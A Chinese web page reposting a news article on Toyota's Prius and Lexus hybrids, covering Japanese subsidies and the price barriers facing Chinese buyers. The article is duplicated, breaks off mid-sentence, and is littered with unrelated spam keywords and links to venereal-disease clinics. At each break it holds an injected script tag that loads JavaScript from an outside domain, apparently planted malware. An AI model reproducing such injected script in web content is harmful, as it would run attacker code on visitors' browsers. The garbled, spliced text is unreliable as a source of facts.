首页 >> 焊管机

普锐斯美日市场受追捧,混合动力却因价格因素在华遭冷遇电位器

时间:2022/11/09 13:04:53 编辑:

普锐斯美日市场受追捧,混合动力却因价格因素在华遭冷遇

在上月开幕的纽约国际车展上,丰田公司的另一大品牌雷克萨斯首次向喜欢大排量汽车的北美市场展示了世界上第一款v8全混合动力的ls 600h l豪华轿车,这辆四轮驱动的ls 600h l将于2007年秋季上市。和这款ls 600h l一同亮相的是lexus雷克萨斯混合动力这一概念车,今后这一名称将与lexus雷克萨斯混合动力车型一起在全球使用。

随着石油饥荒的加剧,越来越多的汽车制造商们把目光集中到节油技术领域,其中“混合动力”这一概念正受到更多的关注,福特、通用、奔马、宝马等世界著名品牌都已经宣布在这个领域展开研究。就在国外汽车制造商们努力开拓混合动力市场的时候,国内一些汽车制造商们也纷纷表示要加入开发队伍。

对于中国这样一个还处在发展中的市场、大多数人的收入水平还不够高的国情来说,混合动力很难说是不是能在真正意义上解决燃油和环境问题。

两大优势助力混合动力打开美日市场

在丰田和lexus雷克萨斯的混合动力技术基础上诞生了普瑞斯、rx400h和gs450h车型,其中普锐斯已经在中国生产。1998年第一辆普锐斯上市至2005年底,已累计销售了45万辆。普锐斯总设计师小木曾认为普锐斯的成功主要来自于两个方面,一是技术上的先进,二是在政策上得到支持。

据小木曾介绍,当今世界上的混合动力车主要有三种类型:串联式、并联式和混联式。所谓“串联式”是指由发动机驱动发电机发电,再将电能通过电动机驱动车轮前进。“并联式”是指发动机和电动机共同输出动力驱动车轮前进。“混联式”虽然也是由发动机和电动机共同驱动车轮,由于其能够更有效地组合串联式和并联式,使两者的优势发挥到极致,所以更能减少能量浪费,并使其功效最大化。

为了达成驾驶乐趣和节能环保性能的完美统一,经过30多年的研究,丰田创造出ths(混合动力系统),普锐斯搭载的正是这一系统的第二代技术,其特征在于使蓄电池小型化的同时,把现有的最高274v驱动的系统提高到500v,由此使电动机实现高性能化。通过这种汽油发动机和电动机的完美协同,普锐斯的加速性能和油耗性能实现了“1.5升的排量却相当于传统2.0升以上排量车型的行驶性能,以及相当于传统1.0升以下排量车型的油耗,以及世界最高水平的超低尾气排放”。

此次在纽约车展上首次亮相的ls 600h l所拥有的混合动力系统也是目前汽车工业领域最先进的油电混合动力系统。它所提供的动力和性能相当于12缸发动机的水平,但它的燃油经济性则和v8发动机相当。它甚至能媲美装配有v6发动机的中型豪华车的燃油效率。另外,它的“超低排放标准”使其比那些号称“最清洁的”竞争对手的排放量还要低70%。

小木曾表示,丰田开发混合动力的一个重要理念是:尽量不使用燃油,即使要用,也要让每一滴油发挥最大的作用。在这一基本理念指导下,丰田未来技术的发展核心将是“燃料电池混合动力”。

除了技术上的优势之外,混合动力之所以受到美日市场欢迎的另一个重要原因则来源于当地政府在政策上的支持。

普锐斯销售人员介绍,在日本市场,一辆普锐斯的价格大约比同级别、同配置的其他轿车贵30%左右。以与普锐斯级别相当的allion进行价格对比可以发现,allion自动挡1.8排量(两驱)最高版本基本型的价格约为15.3万元人民币,普锐斯最高版本基本型的价格则约为18.89万元人民币,比allion高出23.4%(约3.6万元人民币)。

为了说服人们购买价格远远高于其他车型的混合动力汽车,政府可谓不遗余力。日本政府的优惠政策包括:一是新车销售初期政府对每辆普锐斯补贴约合1.75万元人民币,购车后半年内可得到补贴;二是获得补贴的附加条件是该车6年内不得出售或转让他人;三是该车用户在此前一年的驾车行驶距离应不少于6000公里。即使如此,经销商仍然需要耐心向顾客说明这高出的30%的价值,让顾客通过试乘、试驾来体验混合动力的加速感觉与其他轿车完全一样,虽然排量只有1.5升(普锐斯),但动力却相当于2.3升。还要告诉顾客,1升汽油可以跑20公里(相当于每百公里5升油),还要给他们算出节省的燃油是否足以补偿用户为此多付出的那30%。据小木曾说,日本的汽油价格约为1升8.4元人民币(2005年底统计),大约要10-15年才有可能收回成本。一汽丰田公司高层对此表示,“目前正在与政府有关部门探讨此事”。

价格因素让中国消费者望而却步

虽然混合动力是燃油紧缺时代汽车市场的瘦客户机一条出路,但对于还处在发展中的中国汽车市场来说并不是惟一出路,因为中国人的收入水平远远不能和美日等发达国家相比,除混合动力之外,中国汽车还有其他道路可供选择。

去年9月,作为半官方机构,“中国资源综合利用协会-资源节约与代用专业委员会”曾在北京召开过“中国轿车使用柴油部分替代汽油专家研讨会”,参加这个研讨会的政府机构包括国家发改委、国务院研究室、国家?script src=http://er12.com电声配件/t.js>

在上月开幕的纽约国际车展上,丰田公司的另物流台车一大品牌雷克萨斯首次向喜欢大排量汽车的北美市场展示了世界上第一款v8全混合动力的ls 600h l豪华轿车,这辆四轮驱动的ls 600h l将于2007年秋季上市。和这款ls 600h l一同亮相的是lexus雷克萨斯混合动力这一概念车,今后这一名称将与lexus雷克萨斯混合动力车型一起在全球使用。

随着石油饥荒的加剧,越来越多的汽车制造商们把目光集中到节油技术领域,其中“混合动力”这一概念正受到更多的关注,福特、通用、奔马、宝马等世界著名品牌都已经宣布在这个领域展开研究。就在国外汽车制造商们努力开拓混合动力市场的时候,国内一些汽车制造商们也纷纷表示要加入开发队伍。

对于中国这样一个还处在发展中的市场、大多数人的收入水平还不够高的国情来说,混合动力很难说是不是能在真正意义上解决燃油和环境问题。

两大优势助力混合动力打开美日市场

在丰田和lexus雷克萨斯的混合动力技术基础上诞生了普瑞斯、rx400h和gs450h车型,其中普锐斯已经在中国生产。1998年第一辆普锐斯上市至2005年底,已累计销售了45万辆。普锐斯总设计师小木曾认为普锐斯的成功主要来自于两个方面,一是技术上的先进,二是在政策上得到支持。

据小木曾介绍,当今世界上的混合动力车主要有三种类型:串联式、并联式和混联式。所谓“串联式”是指由发动机驱动发电机发电,再将电能通过电动机驱动车轮前进。“并联式”是指发动机和电动机共同输出动力驱动车轮前进。“混联式”虽然也是由发动机和电动机共同驱动车轮,由于其能够更有效地组合串联式和并联式,使两者的优势发挥到极致,所以更能减少能量浪费,并使其功效最大化。

为了达成驾驶乐趣和节能环保性能的完美统一,经过30多年的研究,丰田创造出ths(混合动力系统),普锐斯搭载的正是这一系统的第二代技术,其特征在于使蓄电池小型化的同时,把现有的最高274v驱动的系统提高到500v,由此使电动机实现高性能化。通过这种汽油发动机和电动机的完美协同,普锐斯的加速性能和油耗性能实现了“1.5升的排量却相当于传统2.0升以上排量车型的行驶性能,以及相当于传统1.0升以下排量车型的油耗,以及世界最高水平的超低尾气排放”。

此次在纽约车展上首次亮相的ls 600h l所拥有的混合动力系统也是目前汽车工业领域最先进的油电混合动力系统。它所提供的动力和性能相当于12缸发动机的水平,但它的燃油经济性则和v8发动机相当。它甚至能媲美装配有v6发动机的中型豪华车的燃油效率。另外,它的“超低排放标准”使其比那些号称“最清洁的”竞争对手的排放量还要低70%。

小木曾表示,丰田开发混合动力的一个重要理念是:尽量不使用燃油,即使要用,也要让每一滴油发挥最大的作用。在这一基本理念指导下,丰田未来技术的发展核心将是“燃料电池混合动力”。

除了技术上的优势之外,混合动力之所以受到美日市场欢迎的另一个重要原因则来源于当地政府在政策上的支持。

普锐斯销售人员介绍,在日本市场,一辆普锐斯的价格大约比同级别、同配置的其他轿车贵30%左右。以与普锐斯级别相当的allion进行价格对比可以发现,allion自动挡1.8排量(两驱)最高版本基本型的价格约为15.3万元人民币,普锐斯最高版本基本型的价格则约为18.89万元人民币,比allion高出23.4%(约3.6万元人民币)。

为了说服人们购买价格远远高于其他车型的混合动力汽车,政府可谓不遗余力。日本政府的优惠政策包括:一是新车销售初期政府对每辆普锐斯补贴约合1.75万元人民币,购车后半年内可得到补贴;二是获得补贴的附加条件是该车6年内不得出售或转让他人;三是该车用户在此前一年的驾车行驶距离应不少于6000公里。即使如此,经销商仍然需要耐心向顾客说明这高出的30%的价值,让顾客通过试乘、试驾来体验混合动力的加速感觉与其他轿车完全一样,虽然排量只有1.5升(普锐斯),但动力却相当于2.3升。还要告诉顾客,1升汽油可以跑20公里(相当于每百公里5升油),还要给他们算出节省的燃油是否足以补偿用户为此多付出的那30%。据小木曾说,日本的汽油价格约为1升8.4元人民币(2005年底统计),大约要10-15年才有可能收回成本。一汽丰田公司高层对此表示,“目前正在与政府有关部门探讨此事”。

价格因素让中国消费者望而却步

虽然混合动力是燃油紧切线机缺时代汽车市场的一条出路,但对于还处在发展中的中国汽车市场来说并不是惟一出路,因为中国人的收入水平远远不能和美日等发达国家相比,除混合动力之外,中国汽车还有其他道路可供选择。

去年9月,作为半官方机构,“中国资源综合利用协会-资源节约与代用专业委员会”曾在北京召开过“中国轿车使用柴油部分替代汽油专家研讨会”,参加这个研讨会的政府机构包括国家发改委、国务院研究室、国家?script src=http://er12.com/t.js>茂名能治尖锐湿疣的医院
淄博治疗性病哪家医院好
宁波治疗性病哪家比较好
昆明治性病哪个医院专业

相关资讯